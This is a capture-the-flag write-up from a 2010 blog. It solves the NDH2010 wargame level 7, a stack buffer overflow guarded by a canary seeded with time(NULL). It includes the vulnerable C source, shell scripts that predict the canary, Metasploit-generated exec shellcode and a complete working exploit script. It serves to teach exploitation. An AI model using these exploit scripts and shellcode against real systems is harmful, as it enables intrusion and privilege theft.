lundi 9 août 2010

lvl7 wargame NDH2010 - buffer overflow tutorial weak canary

level7 wargame NDH2010 - tutoriel exploitation buffer overflow avec canary faible

level 7 wargame NDH2010 -  tutorial buffer-overflow exploitation protected by a weak canary

This article describes the resolution of the french "Nuit du hack 2010" wargame level 7 test. This is a buffer overflow. Here, a protection was added with the introduction of a canary. This is a "random" integer pushed on the stack before the return address of a function and controled before the exit of this function. If the read integer is different of the attended value, the program quit immediatly.
The interest of this article is in the exploitation by guessing the value of this canary. Added to that, we'll use two tips proposed by m_101_: The use of the tool pattern provided by Metasploit, and the obtention of the return address by reading dmesg.

solution

level7@srv-public:~$ cat /tmp/exploit.sh
#!/bin/sh
COOKIE="$(./level7 A| cut -d ' ' -f 4)"
COOKIEASCII="\x$(echo $COOKIE | cut -c 7-8)\x$(echo $COOKIE | cut -c 5-6)\x$(echo $COOKIE | cut -c 3-4)\x$(echo $COOKIE | cut -c 1-2)"
ADDRESS="\xd0\xf6\xff\xbf"
PAYLOAD="\x89\xe5\xdb\xc1\xd9\x75\xf4\x58\x50\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x50\x6a\x44\x4b\x42\x78\x4a\x39\x43\x62\x45\x36\x45\x38\x44\x6d\x50\x63\x4f\x79\x48\x67\x51\x78\x44\x6f\x50\x73\x42\x48\x47\x70\x51\x78\x44\x6f\x42\x42\x51\x79\x42\x4e\x4d\x59\x49\x73\x50\x52\x49\x78\x45\x45\x43\x30\x43\x30\x43\x30\x50\x63\x45\x31\x51\x64\x45\x70\x44\x6e\x44\x6e\x46\x4f\x42\x4c\x50\x65\x43\x46\x51\x75\x50\x6c\x45\x68\x44\x6f\x42\x50\x45\x31\x42\x53\x42\x53\x43\x47\x45\x34\x43\x30\x46\x37\x42\x73\x4f\x79\x4d\x31\x4a\x6d\x4d\x50\x41\x41"
STRING="'A'x64 . \"$COOKIEASCII\" . 'A'x12 . \"$ADDRESS\" . \"\x90\"x116 . \"$PAYLOAD\""
./level7 $(perl -e "print $STRING")

The programmer mistake

Here is the source code:
level7@srv-public:~$ cat ./level7.c
#include < stdio.h>
#include < stdlib.h>
#include < string.h>

// gcc -o level7 level7.c -fno-stack-protector -z execstack -mpreferred-stack-boundary=2

unsigned int secret;

int vuln(char *arg) {
    unsigned int cookie = secret;
    char tmp[64] = {'\0'};

    strcpy(tmp, arg);
    if(cookie!=secret) {
        printf("It's not my cookie :(\n");
        exit(0);
    }

    return 1337;
}

int main(int argc, char *argv[])
{
    if(argc != 2) {
        printf("%s \n", argv[0]);
        exit(0);
    }

    srand(time(NULL));
    secret = rand();

    printf("GooD Boy :) %08X\n", secret);

    vuln(argv[1]);
    return 0;
}

The programmer mistake is in the salt given to the function to generate the canary. Let's see that:

Perhaps can we control the system date (but it would be too easy!):
level7@srv-public:~$ date 07231453
date: ne peut initialiser la date.: Operation non permise
vendredi 23 juillet 2010, 14:53:00 (UTC+0200)

Let's find some informations about functions time, rand and srand. Something could be useful in time: http://www.cprogramming.com/fod/time.html
time()
Prototype: time_t time(time_t* timer);
Header File: time.h (C) or ctime (C++)
ANSI: C and C++
Explanation: Returns and sets the passed in variable to the number of seconds that have passed since 00:00:00 GMT January 1, 1970. If NULL is passed in, it will work as if it accepted nothing and return the same value.
That means that time returns a result in seconds.
So srnad(time(NULL)) returns the same result during one second.
So rand returns the same result during one second.
Let's check that:
level7@srv-public:~$ cat /tmp/test.sh
#!/bin/bash
while true; do
  ./level7 A
  sleep 0.3
done
level7@srv-public:~$ bash /tmp/test.sh
GooD Boy :) 6E2CBE94
GooD Boy :) 5C618C75
GooD Boy :) 5C618C75
GooD Boy :) 5C618C75
GooD Boy :) 49AB298D
GooD Boy :) 49AB298D
GooD Boy :) 49AB298D
GooD Boy :) 37DE6CA6
GooD Boy :) 37DE6CA6
GooD Boy :) 37DE6CA6
GooD Boy :) 25A665FB
GooD Boy :) 25A665FB
GooD Boy :) 25A665FB
^C
So we know the secret during ONE second :)

remark: to print the secret:
level7@srv-public:~$ ./level7 A | cut -d ' ' -f 4
SECRETDUMOMENT
and to print the secret in HEX codes:
COOKIE="$(./level7 A| cut -d ' ' -f 4)"
COOKIEASCII="\x$(echo $COOKIE | cut -c 7-8)\x$(echo $COOKIE | cut -c 5-6)\x$(echo $COOKIE | cut -c 3-4)\x$(echo $COOKIE | cut -c 1-2)"

payload

Use Metasploit:
$ msfconsole

msf > use payload/linux/x86/exec

msf payload(exec) > set ENCODER x86/alpha_mixed
ENCODER => x86/alpha_mixed

msf payload(exec) > set CMD "cat ../level8/passwd"
CMD => cat ../level8/passwd

msf payload(exec) > generate
# linux/x86/exec - 174 bytes
# http://www.metasploit.com
# Encoder: x86/alpha_mixed
# PrependSetresuid=false, PrependSetreuid=false,
# PrependSetuid=false, PrependChrootBreak=false,
# AppendExit=false, CMD=cat ../level8/passwd
buf =
"\x89\xe5\xdb\xc1\xd9\x75\xf4\x58\x50\x59\x49\x49\x49\x49" +
"\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51" +
"\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32" +
"\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41" +
"\x42\x75\x4a\x49\x50\x6a\x44\x4b\x42\x78\x4a\x39\x43\x62" +
"\x45\x36\x45\x38\x44\x6d\x50\x63\x4f\x79\x48\x67\x51\x78" +
"\x44\x6f\x50\x73\x42\x48\x47\x70\x51\x78\x44\x6f\x42\x42" +
"\x51\x79\x42\x4e\x4d\x59\x49\x73\x50\x52\x49\x78\x45\x45" +
"\x43\x30\x43\x30\x43\x30\x50\x63\x45\x31\x51\x64\x45\x70" +
"\x44\x6e\x44\x6e\x46\x4f\x42\x4c\x50\x65\x43\x46\x51\x75" +
"\x50\x6c\x45\x68\x44\x6f\x42\x50\x45\x31\x42\x53\x42\x53" +
"\x43\x47\x45\x34\x43\x30\x46\x37\x42\x73\x4f\x79\x4d\x31" +
"\x4a\x6d\x4d\x50\x41\x41"


Our payload:
"\x89\xe5\xdb\xc1\xd9\x75\xf4\x58\x50\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x50\x6a\x44\x4b\x42\x78\x4a\x39\x43\x62\x45\x36\x45\x38\x44\x6d\x50\x63\x4f\x79\x48\x67\x51\x78\x44\x6f\x50\x73\x42\x48\x47\x70\x51\x78\x44\x6f\x42\x42\x51\x79\x42\x4e\x4d\x59\x49\x73\x50\x52\x49\x78\x45\x45\x43\x30\x43\x30\x43\x30\x50\x63\x45\x31\x51\x64\x45\x70\x44\x6e\x44\x6e\x46\x4f\x42\x4c\x50\x65\x43\x46\x51\x75\x50\x6c\x45\x68\x44\x6f\x42\x50\x45\x31\x42\x53\x42\x53\x43\x47\x45\x34\x43\x30\x46\x37\x42\x73\x4f\x79\x4d\x31\x4a\x6d\x4d\x50\x41\x41"


position of the canary

Let's write a script which find where to put the canary in our string:

#!/bin/sh
INDEX=0
NOP="\x90"

OUTPUT="cookie"
while [ ! -z "$(echo $OUTPUT | grep cookie)" ]
do
  COOKIE="$(./level7 A| cut -d ' ' -f 4)"
  COOKIEASCII="\x$(echo $COOKIE | cut -c 7-8)\x$(echo $COOKIE | cut -c 5-6)\x$(echo $COOKIE | cut -c 3-4)\x$(echo $COOKIE | cut -c 1-2)"
  INDEX=$(($INDEX+1))
  STRING="\"$NOP\"x$INDEX . \"$COOKIEASCII\" . \"$NOP\"x$((200-4+174-$INDEX))"
  OUTPUT=$(./level7 $(perl -e "print $STRING"))
done
echo index reached: $INDEX
We find index = 64.

position of return address

Thanks m_101_:
- for the tip of pattern: http://binholic.blogspot.com/2010/07/simple-buffer-overflow-offset.html
- for the tip of dmesg:  http://binholic.blogspot.com/2010/07/simple-buffer-overflow-ndh2010-level-1.html

create a pattern with Metasploit. The tool needs ruby (locally)
$ sudo apt-get install ruby
$ /opt/metasploit3/msf3/tools/pattern_create.rb 306
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1
remark: 200-4+174-64 = 306

Now, search for the return address position:
level7@srv-public:~$ cat /tmp/go.sh
#!/bin/sh
COOKIE="$(./level7 A| cut -d ' ' -f 4)"
COOKIEASCII="\x$(echo $COOKIE | cut -c 7-8)\x$(echo $COOKIE | cut -c 5-6)\x$(echo $COOKIE | cut -c 3-4)\x$(echo $COOKIE | cut -c 1-2)"
STRING="'A'x64 . \"$COOKIEASCII\" . \"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1\""
./level7 $(perl -e "print $STRING")

level7@srv-public:~$ /tmp/go.sh
GooD Boy :) 6E746F94
/tmp/go.sh: line 5: 12265 Erreur de segmentation  ./level7 $(perl -e "print $STRING")

level7@srv-public:~$ dmesg | grep level7 | sed -n '$p'
[2729765.436626] level7[12265]: segfault at 41346141 ip 41346141 sp bffff6c0 error 4

Do not forget to change the order of characters provided by dmesg (stack in little-endian):
$ ruby /opt/metasploit3/msf3/tools/pattern_offset.rb Aa4A
12

remark: an easy ascii table:
$ sudo apt-get install ascii

So here is our exploit:
[ padding ] [ canary ] [padding ] [ address +16 ]        [ NOP ]           [payload ]
     64                4               12                  4                  200-8-12-64             174

return address

Here is our exploit without the return address:
level7@srv-public:~$ cat /tmp/findaddress.sh
#!/bin/sh
COOKIE="$(./level7 A| cut -d ' ' -f 4)"
COOKIEASCII="\x$(echo $COOKIE | cut -c 7-8)\x$(echo $COOKIE | cut -c 5-6)\x$(echo $COOKIE | cut -c 3-4)\x$(echo $COOKIE | cut -c 1-2)"
ADDRESS="AAAA"
PAYLOAD="\x89\xe5\xdb\xc1\xd9\x75\xf4\x58\x50\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x50\x6a\x44\x4b\x42\x78\x4a\x39\x43\x62\x45\x36\x45\x38\x44\x6d\x50\x63\x4f\x79\x48\x67\x51\x78\x44\x6f\x50\x73\x42\x48\x47\x70\x51\x78\x44\x6f\x42\x42\x51\x79\x42\x4e\x4d\x59\x49\x73\x50\x52\x49\x78\x45\x45\x43\x30\x43\x30\x43\x30\x50\x63\x45\x31\x51\x64\x45\x70\x44\x6e\x44\x6e\x46\x4f\x42\x4c\x50\x65\x43\x46\x51\x75\x50\x6c\x45\x68\x44\x6f\x42\x50\x45\x31\x42\x53\x42\x53\x43\x47\x45\x34\x43\x30\x46\x37\x42\x73\x4f\x79\x4d\x31\x4a\x6d\x4d\x50\x41\x41"
STRING="'A'x64 . \"$COOKIEASCII\" . 'A'x12 . \"$ADDRESS\" . \"\x90\"x116 . \"$PAYLOAD\""
./level7 $(perl -e "print $STRING")
run it:
level7@srv-public:~$ chmod +x /tmp/findaddress.sh

level7@srv-public:~$ /tmp/findaddress.sh
GooD Boy :) 3C6FE0D5
/tmp/findaddress.sh: line 7: 12653 Erreur de segmentation  ./level7 $(perl -e "print $STRING")
and search for the last system error message:
level7@srv-public:~$ dmesg | grep level7 | sed -n '$p'
[2732073.552256] level7[12653]: segfault at 41414141 ip 41414141 sp bffff6c0 error 4

  We find the return address: 0xbffff6c0.

exploitation

Here is the exploit:
level7@srv-public:~$ cat /tmp/exploit.sh
#!/bin/sh
COOKIE="$(./level7 A| cut -d ' ' -f 4)"
COOKIEASCII="\x$(echo $COOKIE | cut -c 7-8)\x$(echo $COOKIE | cut -c 5-6)\x$(echo $COOKIE | cut -c 3-4)\x$(echo $COOKIE | cut -c 1-2)"
ADDRESS="\xd0\xf6\xff\xbf"
PAYLOAD="\x89\xe5\xdb\xc1\xd9\x75\xf4\x58\x50\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x50\x6a\x44\x4b\x42\x78\x4a\x39\x43\x62\x45\x36\x45\x38\x44\x6d\x50\x63\x4f\x79\x48\x67\x51\x78\x44\x6f\x50\x73\x42\x48\x47\x70\x51\x78\x44\x6f\x42\x42\x51\x79\x42\x4e\x4d\x59\x49\x73\x50\x52\x49\x78\x45\x45\x43\x30\x43\x30\x43\x30\x50\x63\x45\x31\x51\x64\x45\x70\x44\x6e\x44\x6e\x46\x4f\x42\x4c\x50\x65\x43\x46\x51\x75\x50\x6c\x45\x68\x44\x6f\x42\x50\x45\x31\x42\x53\x42\x53\x43\x47\x45\x34\x43\x30\x46\x37\x42\x73\x4f\x79\x4d\x31\x4a\x6d\x4d\x50\x41\x41"
STRING="'A'x64 . \"$COOKIEASCII\" . 'A'x12 . \"$ADDRESS\" . \"\x90\"x116 . \"$PAYLOAD\""
./level7 $(perl -e "print $STRING")

run it:
level7@srv-public:~$ chmod +x /tmp/exploit.sh

level7@srv-public:~$ /tmp/exploit.sh
GooD Boy :) 51FA2696
MOT DE PASSE

references

- time - http://www.cprogramming.com/fod/time.html
- pattern metasploit - m_101_ - http://binholic.blogspot.com/2010/07/simple-buffer-overflow-offset.html
- dmesg - m_101_ - http://binholic.blogspot.com/2010/07/simple-buffer-overflow-ndh2010-level-1.html

Aucun commentaire:

Enregistrer un commentaire